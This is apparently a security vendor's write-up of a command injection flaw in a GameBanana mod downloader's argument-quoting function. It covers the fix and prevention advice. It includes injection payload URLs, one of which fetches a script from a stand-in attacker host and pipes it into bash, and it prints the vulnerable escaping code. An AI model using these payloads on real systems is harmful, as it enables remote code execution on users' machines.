Introduction
The gamebanana.provider.js file handles downloading and processing mod content from GameBanana, a popular game modding platform. A critical flaw in the quoteCommandArgument() function at line 42 created a severe command injection vulnerability that could allow attackers to execute arbitrary system commands on users' machines.
The vulnerability is particularly dangerous because the attack vector comes from attacker-controllable content on GameBanana itself—malicious mod creators could craft URLs containing shell metacharacters that would execute when legitimate users simply viewed or downloaded their content.
Here's the vulnerable code that was discovered:
function quoteCommandArgument(value) {
return `"${String(value).replaceAll('"', '\\"')}"`;
}
This function attempts to safely quote command-line arguments by wrapping them in double quotes and escaping any embedded double quotes. However, this approach fundamentally misunderstands how shell escaping works.
The Vulnerability Explained
Why Double-Quote Escaping Fails
In Unix-like shells (and even Windows PowerShell), double-quoted strings still allow certain types of expansion:
- Command substitution:
$(command)or`command`will execute the enclosed command - Variable expansion:
$VARIABLEwill be replaced with the variable's value - Arithmetic expansion:
$((expression))will evaluate mathematical expressions
The original quoteCommandArgument() function only escaped double quotes ("), meaning an attacker could inject any of these patterns and have them executed by the shell.
Real Attack Scenario
Consider how GameBanana works: mod creators can specify alternate download URLs for their content, including links to external file hosts like MediaFire. An attacker could create a mod with a malicious alternate file source URL:
https://mediafire.com/file/x$(whoami).txt
When this URL passes through quoteCommandArgument(), it becomes:
"https://mediafire.com/file/x$(whoami).txt"
The double quotes don't prevent the shell from executing $(whoami). The command runs, and its output gets interpolated into the URL. But the danger goes far beyond whoami:
https://example.com/$(curl attacker.com/malware.sh | bash).txt
This would download and execute a malicious script with full privileges of the Node.js process—potentially giving attackers complete control over the victim's system.
Why This Is Critical
- Remote Code Execution: Attackers can run arbitrary commands with the user's privileges
- No User Interaction Required: Simply viewing mod content could trigger the exploit
- Trust Exploitation: Users trust GameBanana content, making social engineering trivial
- Full System Access: The Node.js process typically has access to filesystem, network, and can spawn additional processes
The Fix
The fix changes the quoting strategy from double quotes to single quotes:
Before (Vulnerable)
function quoteCommandArgument(value) {
return `"${String(value).replaceAll('"', '\\"')}"`;
}
After (Fixed)
function quoteCommandArgument(value) {
return `'${String(value).replaceAll("'", "'\\''")}'`;
}
Why Single Quotes Work
In shell scripting, single-quoted strings are literal—no expansion of any kind occurs inside them. The string '$(whoami)' is treated as the literal characters $, (, w, h, o, a, m, i, ) rather than a command to execute.
The only character that needs escaping inside single quotes is the single quote itself. The pattern '\\'' handles this by:
- Ending the current single-quoted string (
') - Adding an escaped literal single quote (
\') - Starting a new single-quoted string (
')
So the input it's dangerous becomes 'it'\''s dangerous', which the shell interprets as the literal string it's dangerous.
Attack Neutralized
With the fix in place, the malicious URL:
https://mediafire.com/file/x$(whoami).txt
Becomes:
'https://mediafire.com/file/x$(whoami).txt'
The shell treats $(whoami) as literal text, not a command to execute. The attack is completely neutralized.
Prevention & Best Practices
1. Prefer Array-Based Argument Passing
When possible, avoid shell string construction entirely:
// Dangerous - uses shell
exec(`curl "${url}"`);
// Safer - no shell interpretation
execFile('curl', [url]);
2. Use Established Libraries
Instead of writing custom escaping functions, use battle-tested libraries like shell-escape or shell-quote:
const shellEscape = require('shell-escape');
const safeCommand = shellEscape(['curl', url]);
3. Validate and Sanitize Input
For URLs specifically, validate the format before use:
function isValidUrl(string) {
try {
const url = new URL(string);
return ['http:', 'https:'].includes(url.protocol);
} catch {
return false;
}
}
4. Apply Defense in Depth
- Validate input at the boundary (URL format checking)
- Sanitize during processing (proper escaping)
- Use least-privilege execution contexts where possible
5. Security Testing
- Include command injection payloads in your test suite
- Use static analysis tools that understand taint tracking
- Review any code that constructs shell commands
Key Takeaways
- Never use double-quote escaping for shell arguments—it doesn't prevent
$()or backtick command substitution - The
quoteCommandArgument()function in gamebanana.provider.js required single-quote escaping to be secure - Attacker-controlled URLs from GameBanana could have executed arbitrary commands on users' systems
- Single-quote wrapping with
'\\''escape pattern is the correct approach for literal shell argument passing - External content platforms like GameBanana are untrusted input sources—treat all data from them as potentially malicious
How Orbis AppSec Detected This
- Source: Attacker-controllable alternate file source URLs from GameBanana mod content
- Sink:
quoteCommandArgument()function atgamebanana.provider.js:42used in shell command construction - Missing control: Proper shell metacharacter escaping—only double quotes were escaped, leaving
$(), backticks, and$VARpatterns exploitable - CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
- Fix: Changed from double-quote escaping to single-quote escaping with proper handling of embedded single quotes
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This command injection vulnerability demonstrates how subtle mistakes in shell escaping can have catastrophic security consequences. The original developer's instinct to quote and escape arguments was correct, but the implementation using double quotes left a critical gap that attackers could exploit.
The fix—switching to single-quote escaping—is elegant in its simplicity but requires understanding the fundamental difference between how shells interpret single-quoted versus double-quoted strings. When building applications that interact with external content sources like GameBanana, always treat that content as untrusted and apply rigorous input validation and output escaping.
Remember: security is about understanding the execution context of your code. What seems safe in one context (JavaScript string handling) may be dangerous in another (shell command execution).